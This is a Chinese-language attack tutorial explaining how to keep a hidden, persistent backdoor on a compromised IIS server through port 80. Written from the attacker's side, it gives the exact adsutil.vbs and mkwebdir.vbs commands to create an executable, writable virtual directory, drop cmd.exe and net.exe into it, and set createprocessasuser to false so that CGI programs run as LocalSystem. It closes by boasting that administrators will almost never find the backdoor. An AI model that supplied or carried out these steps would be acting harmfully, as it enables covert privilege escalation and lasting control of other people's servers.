IIS作为一款广泛部署的Web服务器,若配置不当,极易暴露大量安全漏洞。攻击者成功入侵IIS服务器后,通常会植入后门以保持长期控制,这是经典攻击手法。常见的后门程序(如nc、ntlm、rnc)往往在服务器上开启特定端口进行监听,以类似telnet的方式等待远程连接。然而,如果管理员已经经历过一次攻击,通常会通过防火墙严格限制端口,仅保留少数许可端口。但80端口几乎不可能被关闭——除非管理员失去理智。那么,能否利用80端口打造一个持久后门呢?答案是肯定的。
关键在于IIS对CGI应用程序的处理方式。默认情况下,IIS通过CreateProcessAsUser API启动CGI程序,新进程的安全上下文取决于启动CGI的用户身份。匿名用户通常映射到IUSR_computername账号(管理员也可配置为其他用户),或者由浏览器提供合法用户。这两类用户权限均较低,通常隶属于Guest组。但我们可以修改IIS启动CGI的方式,从而实现权限提升。IIS主进程本身运行在LocalSystem账号下,只要让CGI进程继承主进程权限,即可获得系统最高权限。
入侵Web服务器后,通常可将cmd绑定到某个端口以实现远程控制。既可采用GUI方式的远程桌面(如3389端口),也可采用类telnet的文本控制方式(如rnc)。nc同样适用。具体操作步骤如下:
1. 获取远程Shell
通过已植入的后门等途径telnet至目标服务器。
2. 查看当前IIS配置
执行以下命令,枚举默认站点的根目录属性:
cscript.exe adsutil.vbs enum w3svc/1/root
输出结果将显示当前虚拟目录的权限设置,例如AccessExecute、AccessWrite等属性是否为假。这些信息为后续操作提供了重要参考。
3. 创建本地目录
在Web根目录下新建一个目录,用于存放后门文件:
mkdir c:\inetpub\wwwroot\dir1
4. 创建虚拟目录
使用IIS管理脚本添加新虚拟目录:
cscript.exe mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "Virtual Dir1","c:\inetpub\wwwroot\dir1"
这样便在默认网站下创建了一个名为“Virtual Dir1”的虚拟目录。
5. 修改虚拟目录权限为“执行”
为了让虚拟目录能够执行上传的程序(例如cmd.exe),需要开启写入与执行权限:
cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accesswrite "true" -s:
cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accessexecute "true" -s:
现在你可以上传任意文件到该目录,并运行它们。甚至可以直接将cmd.exe、net.exe等系统工具复制到该目录的物理路径下。
6. 修改Metabase,提权创建进程
最关键的一步:通过修改IIS Metabase,强制IIS以其自身的安全上下文(LocalSystem)创建新的CGI进程。命令如下:
Cscript adsutil.vbs set /w3svc/1/root/[your directory]/createprocessasuser false
注释:cscript是Windows脚本宿主;adsutil.vbs是IIS管理脚本;后面的路径指向IIS Metabase。将createprocessasuser设置为false后,任何通过该虚拟目录执行的CGI程序都将以LocalSystem权限运行。
这样的后门几乎难以察觉。除非管理员闲得发慌,逐一检查所有虚拟目录的Metabase设置——当然,如果他连遗嘱都写好了,那就查吧。
